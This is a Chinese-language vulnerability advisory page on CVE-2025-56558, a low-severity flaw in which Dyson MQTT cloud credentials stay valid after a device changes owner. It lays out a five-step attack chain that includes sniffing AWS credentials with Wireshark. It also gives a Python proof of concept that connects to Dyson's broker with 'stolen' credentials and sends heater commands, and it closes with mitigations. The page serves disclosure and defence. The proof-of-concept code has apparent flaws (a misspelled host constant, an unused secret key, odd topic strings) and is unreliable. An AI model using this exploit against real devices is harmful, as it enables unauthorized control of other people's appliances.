IPBUF安全漏洞报告
English
CVE-2025-56558 CVSS 3.0 低危

CVE-2025-56558:Dyson MQTT服务器设备所有权转移后认证绕过漏洞

披露日期: 2025-10-29

漏洞信息

漏洞编号
CVE-2025-56558
漏洞类型
认证绕过/访问控制
CVSS评分
3.0 低危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Dyson MQTT Server (2022及后续版本), Dyson Pure Hot+Cool设备

相关标签

CVE-2025-56558认证绕过MQTTDysonAWS IoT设备所有权访问控制物联网安全会话管理低危漏洞

漏洞概述

CVE-2025-56558是戴森(Dyson)MQTT服务器中的一个认证绕过漏洞。该漏洞存在于2022年及之后发布的Dyson设备中,攻击者可以利用AWS云凭证(AWS_ACCESS_KEY_ID、AWS_SECRET_ACCESS_KEY、AWS_SESSION_TOKEN)和设备序列号,在设备已被从MyDyson应用中移除的情况下,仍能对设备进行MQTT发布和订阅操作。漏洞的根本原因在于服务器端在设备所有权转移后未能正确吊销或更新与该设备关联的云凭证。当用户通过MyDyson应用移除设备后,云端凭证并未被同步撤销,导致任何持有正确凭证的客户端仍能维持与MQTT服务器的连接并发送控制指令。攻击者需要首先拥有一台Dyson设备并获取完整的云凭证,然后通过设备所有权转移机制将设备转让给目标受害者。成功利用此漏洞后,攻击者可以在设备的安全操作范围内进行配置,例如将房间温度设置在0-37摄氏度之间。值得注意的是,供应商表示此问题源于2022年,已无法复现,且攻击者无法通过此漏洞在设备上执行代码或获取敏感信息。

技术细节

Dyson MQTT服务器在处理设备所有权变更时存在认证会话管理缺陷。当用户从MyDyson应用中移除设备时,服务器端的会话撤销机制未能及时生效。具体来说,MQTT服务器在验证客户端身份时,仅检查AWS凭证和设备序列号的有效性,而未验证该设备当前是否仍归属于发起请求的用户账户。攻击者通过以下方式利用此漏洞:首先拥有一台Dyson设备并通过正常途径获取AWS云凭证(包括访问密钥、会话令牌和设备序列号);然后使用Wireshark等网络抓包工具在本地网络或设备通信过程中嗅探这些凭证;接着将设备所有权通过Dyson官方渠道转移给目标受害者;最后使用窃取的凭证连接MQTT服务器,即使设备在受害者账户中显示为已移除,攻击者仍能维持连接并发送温度设置等控制指令。MQTT协议在此场景下用于设备与云端之间的双向通信,攻击者可以订阅设备状态主题并发布控制命令。漏洞的CVSS 3.1评分为3.0(低危),攻击复杂度高,需要高权限才能发起攻击,但无需用户交互。

攻击链分析

STEP 1
步骤1:获取Dyson设备
攻击者首先购买或获得一台Dyson设备(如Pure Hot+Cool),确保对该设备拥有完全的控制权限
STEP 2
步骤2:窃取AWS云凭证
攻击者通过网络嗅探(如使用Wireshark)或设备日志分析,提取MQTT连接所需的AWS_ACCESS_KEY_ID、AWS_SECRET_ACCESS_KEY、AWS_SESSION_TOKEN和设备序列号
STEP 3
步骤3:触发设备所有权转移
攻击者通过Dyson官方渠道将设备所有权转移给目标受害者,这通常需要受害者的MyDyson账户配合或在设备重置过程中完成
STEP 4
步骤4:验证凭证有效性
设备转移后,攻击者使用窃取的旧凭证连接MQTT服务器,验证即使设备已被从原账户移除,凭证仍可用于连接
STEP 5
步骤5:发送恶意控制指令
攻击者通过MQTT协议向设备发送控制命令,如设置温度(0-37°C范围内)、切换模式等操作,在设备的安全运行范围内进行操控

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-56558 PoC - Dyson MQTT Server Authentication Bypass Note: This is a conceptual PoC for educational purposes only. """ import paho.mqtt.client as mqtt import boto3 import json from datetime import datetime # Configuration DYSYON_MQTT_BROKER = "iot.dyson.com" MQTT_PORT = 8883 class DysonMQTTExploit: def __init__(self, aws_access_key, aws_secret_key, aws_session_token, device_serial): self.aws_access_key = aws_access_key self.aws_secret_key = aws_secret_key self.aws_session_token = aws_session_token self.device_serial = device_serial self.client = None def on_connect(self, client, userdata, flags, rc): if rc == 0: print(f"[+] Successfully connected to Dyson MQTT broker") # Subscribe to device status topic topic = f"\x00{self.device_serial}/status" client.subscribe(topic) print(f"[+] Subscribed to topic: {topic}") # Publish temperature control command self.set_temperature(25) else: print(f"[-] Connection failed with code: {rc}") def on_message(self, client, userdata, msg): print(f"[+] Received message on {msg.topic}: {msg.payload}") def set_temperature(self, temp_celsius): """Set the room temperature (0-37°C within safe range)""" if temp_celsius < 0 or temp_celsius > 37: print(f"[-] Temperature must be between 0-37°C") return # Construct MQTT command payload command_topic = f"\x00{self.device_serial}/command" payload = { "msg": "STATE-SET", "data": { "fmod": "heat", "tact": str(temp_celsius), "fnsp": "0101", "fpwr": "ON" }, "time": datetime.now().isoformat() } result = self.client.publish(command_topic, json.dumps(payload)) if result.rc == mqtt.MQTT_ERR_SUCCESS: print(f"[+] Temperature set to {temp_celsius}°C") else: print(f"[-] Failed to send command") def exploit(self): """Main exploit function""" print("[*] CVE-2025-56558 - Dyson MQTT Authentication Bypass") print(f"[*] Target device: {self.device_serial}") # Create MQTT client with TLS self.client = mqtt.Client(client_id=self.device_serial) self.client.tls_set_context(context=None) self.client.on_connect = self.on_connect self.client.on_message = self.on_message # Set credentials (AWS IoT Core authentication) self.client.username_pw_set( username=self.aws_access_key, password=self.aws_session_token ) try: self.client.connect(DYSYON_MQTT_BROKER, MQTT_PORT, 60) self.client.loop_forever() except Exception as e: print(f"[-] Connection error: {e}") if __name__ == "__main__": # Replace with actual stolen credentials AWS_ACCESS_KEY = "AKIAIOSFODNN7EXAMPLE" AWS_SECRET_KEY = "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY" AWS_SESSION_TOKEN = "FwoGZXIvYXdzECYaDPABCDEFexample" DEVICE_SERIAL = "XXX-XX-12345678" exploit = DysonMQTTExploit(AWS_ACCESS_KEY, AWS_SECRET_KEY, AWS_SESSION_TOKEN, DEVICE_SERIAL) exploit.exploit()

影响范围

Dyson MQTT Server 2022及后续所有版本
Dyson Pure Hot+Cool (所有已知型号)
支持MyDyson Link的Dyson设备(固件版本未及时更新者)

防御指南

临时缓解措施
由于该漏洞需要物理接触设备并配合所有权转移才能利用,普通用户风险较低。建议用户在转让Dyson设备前务必执行恢复出厂设置,并在MyDyson应用中彻底移除设备。对于企业用户,应监控MQTT连接日志,检测异常的设备访问行为。Dyson供应商应尽快发布固件更新,在设备所有权变更时自动刷新云凭证并终止旧会话。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表